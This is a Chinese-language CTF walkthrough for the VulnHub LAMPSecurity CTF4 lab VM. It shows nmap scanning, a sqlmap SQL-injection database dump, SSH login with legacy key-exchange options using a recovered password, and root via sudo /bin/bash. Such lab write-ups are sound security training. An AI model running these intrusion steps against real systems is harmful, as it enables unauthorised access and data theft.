靶机的下载链接如下:
https://download.vulnhub.com/lampsecurity/ctf4.zip
靶机下载后解压,用vmware打开,设置网络连接为NAT模式,开启靶机即可(界面如下):
第一步:主机发现与端口扫描
我的kali为192.168.10.0网段
首先进行主机扫描:
nmap -sn 192.168.10.0/24
发现靶机ip是192.168.10.141之后,接着进行全端口扫描:
nmap -sT -sV 192.168.10.141
探测到了22,25,80,631四个端口,其中631端口已关闭。进行操作系统和服务版本探测:
nmap -sT -sV -0 -p22,25,80.631 192.168.10.141
进入80端口页面:
经过测试发现存在sql注入
使用sqlmap进行注入
sqlmap -u ' http://192.168.10.141/index.html?page=blog&title=Blog&id=5' --dbs --dump --batch
接着尝试使用ssh登录
ssh dstevens@192.168.10.141
发现报错:
Unable to negotiate with 192.168.10.141 port 22: no matching key exchange method found. Their offer: diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1
结果进入登录不了,这是由于靶机太老了,ssh的版本有问题。不过我们可以指定修改一些参数实现登录。报错提示没有匹配的key exchange方法,靶机的方法是diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1。因此我们可以添加一个参数,把Their offer作为参数的值。问题是参数名是啥呢,我们先输入-o查找额外的参数,然后输入key的首字母k,按下tab键,有许多提示的参数,我们要设置的参数是与key exchange相关的,在这些参数中最有可能的就是KeyAlgorithms(密钥算法):
因此根据第一次的报错提示,我们添加参数-oKexAlgorithms=diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 命令如下:
ssh -oKexAlgorithms=diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 dstevens@192.168.10.141
接着加入hostkey
ssh -oKexAlgorithms=diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 -oHostKeyAlgorithms=ssh-rsa,ssh-dss dstevens@192.168.10.141
如果出现ssh: Could not resolve hostname 192.168.10.141\302\240: Name or service not known
这种情况在kali里ping一下地址进行缓存一下就好了
输入密码ilike2surf之后成功登录了!拿到了dstevens的shell!!!
下一步就是提权!!!
拿到shell之后常规思路,whoami查看当前账户,uname -a查看操作系统版本,ip a或ifconfig查看ip信息,结果网卡信息都无法看到。pwd可以看到当前目录是dstevens的家目录/home/dstevens。
进行提权之前先看看自己是啥权限,使用sudo -l查看,输入密码ilike2surf
已经是ALL了,sudo运行bash即可
sudo /bin/bash
这样就拿到了root权限,打靶成功!!!